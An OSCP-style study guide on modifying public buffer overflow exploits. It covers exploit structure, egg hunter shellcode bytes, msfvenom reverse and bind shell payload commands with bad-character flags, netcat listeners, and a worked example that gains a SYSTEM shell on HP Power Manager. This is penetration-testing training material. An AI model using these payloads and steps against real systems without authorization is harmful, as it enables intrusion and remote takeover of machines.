14 — Buffer Overflow: Fixing Public Exploits
OSCP Note: BOF is no longer a guaranteed machine on the exam (removed Nov 2024). But you still need to know how to modify public exploits that use buffer overflows. This guide covers exactly that.
The Big Picture
A buffer overflow exploit overwrites a program’s memory to hijack execution. Every BOF exploit has the same structure:
[PADDING] + [RETURN ADDRESS] + [NOP SLED] + [SHELLCODE]
Your job when fixing a public exploit is usually just replacing the shellcode with your own. Occasionally you’ll need to update the return address for a different OS version.
The 5 Parts of Every BOF Exploit
1. PADDING (fills the buffer)
"\x41"*256
\x41= letter “A”- Fills the buffer until it reaches the saved return address
- The number (256) is specific to each vulnerable app — found by the exploit author
- You don’t change this
2. RETURN ADDRESS (hijacks execution)
RET = "\xCF\xBC\x08\x76" # JMP ESP in MSVCP60.dll
- Overwrites the saved return address on the stack
- Points to a
JMP ESPinstruction in a DLL loaded by the application - ESP points to whatever comes after RET on the stack — your shellcode
- OS-version specific — different Windows versions = different DLL addresses
- You usually don’t change this unless targeting a different OS than the exploit was tested on
3. NOP SLED (landing pad)
"\x90"*32
\x90= NOP instruction (“do nothing, go to next instruction”)- Acts as a runway — if the jump doesn’t land exactly on your shellcode, it slides through NOPs until it hits your code
- You don’t change this
4. EGG HUNTER (optional — used when shellcode is too big)
EH = '\x33\xD2\x90\x90\x90\x42\x52\x6a'
EH += '\x02\x58\xcd\x2e\x3c\x05\x5a\x74'
EH += '\xf4\xb8\x6e\x30\x30\x62\x8b\xfa'
EH += '\xaf\x75\xea\xaf\x75\xe7\xff\xe7'
- Small code that searches all memory for a tag (like
n00bn00borw00tw00t) - Used when the buffer space after RET is too small for the full shellcode
- The actual shellcode is placed elsewhere in the request (e.g., in the User-Agent header)
- The egg hunter finds the tag and jumps to the shellcode after it
- You don’t change the egg hunter code
- You MUST keep the tag (e.g.,
"n00bn00b") at the start of your SHELL variable
5. SHELLCODE (the payload — THIS is what you replace)
SHELL = "n00bn00b" # <-- egg hunter tag (keep if egg hunter exists)
SHELL += "\x33\xc9\x83..." # <-- machine code that runs after exploit succeeds
- This is the actual code that executes: reverse shell, bind shell, command execution, etc.
- This is what you generate with msfvenom and replace
How to Generate Shellcode with msfvenom
The Command
msfvenom -p windows/shell_reverse_tcp LHOST=<YOUR_IP> LPORT=4444 -f py -b '<BAD_CHARS>' -v SHELL
Every Flag Explained
| Flag | Meaning |
|---|---|
-p windows/shell_reverse_tcp | Payload: Windows reverse shell over TCP |
LHOST=tun0 | Your IP (attacker) — where the shell connects back to |
LPORT=4444 | Your listening port |
-f py | Output format: Python variable (paste into Python exploit) |
-b '\x00\x3a...' | Bad characters to avoid (see below) |
-v SHELL | Name the output variable SHELL (match the exploit’s variable name) |
Finding Bad Characters
The exploit author always lists them in a comment. Look for:
# badchar = "\x00\x3a\x26\x3f\x25\x23\x20\x0a\x0d\x2f..."
Copy these directly into your -b flag. Common bad characters and why:
\x00— null byte, terminates C strings\x0a— newline (\n), breaks HTTP headers\x0d— carriage return (\r), breaks HTTP headers\x20— space, breaks URL/HTTP parsing\x2f— forward slash (/), breaks URLs\x3f— question mark (?), breaks URLs\x25— percent sign (%), breaks URL encoding
If bad characters aren’t listed, the minimum safe set is: -b '\x00'
Payload Options by Target
# Windows 32-bit reverse shell (most common for OSCP BOF)
msfvenom -p windows/shell_reverse_tcp LHOST=tun0 LPORT=4444 -f py -b '<BADCHARS>' -v SHELL
# Windows 64-bit reverse shell
msfvenom -p windows/x64/shell_reverse_tcp LHOST=tun0 LPORT=4444 -f py -b '<BADCHARS>' -v SHELL
# Linux 32-bit reverse shell
msfvenom -p linux/x86/shell_reverse_tcp LHOST=tun0 LPORT=4444 -f py -b '<BADCHARS>' -v SHELL
# Linux 64-bit reverse shell
msfvenom -p linux/x64/shell_reverse_tcp LHOST=tun0 LPORT=4444 -f py -b '<BADCHARS>' -v SHELL
# Windows bind shell (target opens port, you connect to it — rare)
msfvenom -p windows/shell_bind_tcp LPORT=4444 -f py -b '<BADCHARS>' -v SHELL
Output Formats (match the exploit language)
-f py # Python: SHELL = "\xeb\x03..." (for Python exploits)
-f c # C: unsigned char SHELL[] = (for C exploits)
-f raw # Raw bytes (pipe to file)
-f exe # Standalone .exe (for file upload/transfer)
-f elf # Standalone Linux binary (for file upload/transfer)
The Complete Process: Fixing Any Public BOF Exploit
Step 1 — Read the exploit and identify key elements
Look for these things:
□ What PORT does it target?
□ What are the BAD CHARACTERS? (comment with "badchar")
□ Is the shellcode a BIND shell or REVERSE shell?
□ What OS was it TESTED on?
□ Is there an EGG HUNTER? (look for a tag like n00bn00b, w00tw00t)
□ What VARIABLE NAME holds the shellcode? (SHELL, shellcode, buf, etc.)
□ Is it PYTHON 2 or PYTHON 3? (print with or without parentheses)
Step 2 — Generate new shellcode
msfvenom -p windows/shell_reverse_tcp LHOST=<YOUR_IP> LPORT=<YOUR_PORT> -f py -b '<BAD_CHARS>' -v <VARIABLE_NAME>
Step 3 — Replace the shellcode in the exploit
Delete the old SHELL/shellcode variable contents.
Paste your msfvenom output.
If Python 2 exploit (print without parentheses): remove the b prefix from every line:
# msfvenom gives you (Python 3 format):
SHELL = b""
SHELL += b"\xeb\x03\x59..."
# Change to (Python 2 format):
SHELL = ""
SHELL += "\xeb\x03\x59..."
If egg hunter exists: keep the tag as the first line of SHELL:
SHELL = ""
SHELL += "n00bn00b" # <-- KEEP THIS if egg hunter exists
SHELL += "\x33\xc9\x83..." # <-- your new msfvenom shellcode
Step 4 — Check for other things to change
□ Hardcoded IPs in the exploit? → Change to target IP
□ Hardcoded ports? → Verify they match the target service
□ Hardcoded paths? → Verify they match the target application
□ Content-Length header? → May need updating if shellcode size changed significantly
Step 5 — Set up listener and run
# Terminal 1: start listener FIRST
nc -lvnp 4444
# or
rlwrap nc -lvnp 4444
# Terminal 2: run exploit
python2 exploit.py $ip # Python 2 exploit
python3 exploit.py $ip # Python 3 exploit
Remember:
- Bind shell (old) → you connect TO the target:
nc $ip 4444 - Reverse shell (new) → target connects TO you:
nc -lvnp 4444(start listener first)
Bind Shell vs Reverse Shell — When to Use Which
| Type | How it works | When to use |
|---|---|---|
| Reverse shell | Target connects BACK to you | Default choice — use this 95% of the time |
| Bind shell | Target opens a port, you connect to it | Only if reverse shell fails (firewall blocks outbound) |
Always try reverse shell first. If it doesn’t work, the target might have a firewall blocking outbound connections — switch to bind shell.
Troubleshooting: When the Exploit Doesn’t Work
No shell received:
- Are you running Python 2 or 3? Check the exploit’s print statements
- Did you keep the egg hunter tag if one exists?
- Is your LHOST correct? (
ip a→ check tun0) - Is your listener running BEFORE you send the exploit?
- Did you remove the
bprefix for Python 2 exploits?
Connection refused / port not open:
- Is the target service actually running on the expected port?
- Did the exploit crash the service? Some BOF exploits only work once — reset the box
Shellcode generation fails / too large:
- Try a different encoder: add
-e x86/shikata_ga_naito msfvenom - Use a smaller payload:
windows/shell_reverse_tcp(staged) is smaller thanwindows/shell/reverse_tcp(stageless) - Check if the exploit has a size constraint in comments
Wrong OS version:
- The return address (RET) is OS-specific
- If the target OS doesn’t match what the exploit was tested on, the RET address may be wrong
- Look for other versions of the same exploit on searchsploit that target your OS
- On OSCP, most BOF exploits work as-is after shellcode replacement
Worked Example — HP Power Manager (retired HTB box)
1. Found the service: HP Power Manager on port 80
2. Found the exploit: searchsploit hppower → windows/remote/10099.py
3. Read the exploit and identified:
- Bad chars:
\x00\x3a\x26\x3f\x25\x23\x20\x0a\x0d\x2f\x2b\x0b\x5c\x3d\x3b\x2d\x2c\x2e\x24\x25\x1a - Old shellcode: bind shell on port 4444
- Egg hunter: yes (tag =
n00bn00b) - Variable name:
SHELL - Python version: Python 2
4. Generated new shellcode:
msfvenom -p windows/shell_reverse_tcp LHOST=tun0 LPORT=4444 -f py -b '\x00\x3a\x26\x3f\x25\x23\x20\x0a\x0d\x2f\x2b\x0b\x5c\x3d\x3b\x2d\x2c\x2e\x24\x25\x1a' -v SHELL
5. Replaced shellcode in exploit:
- Deleted old SHELL contents
- Pasted new msfvenom output
- Removed
bprefix from every line (Python 2) - Kept
"n00bn00b"tag at start of SHELL
6. Ran it:
# Terminal 1:
nc -lvnp 4444
# Terminal 2:
python2 10099.py $ip
Result: Got a SYSTEM shell.
“Read the exploit. Find the shellcode. Find the bad characters. Generate new shellcode. Replace. Run. Shell.”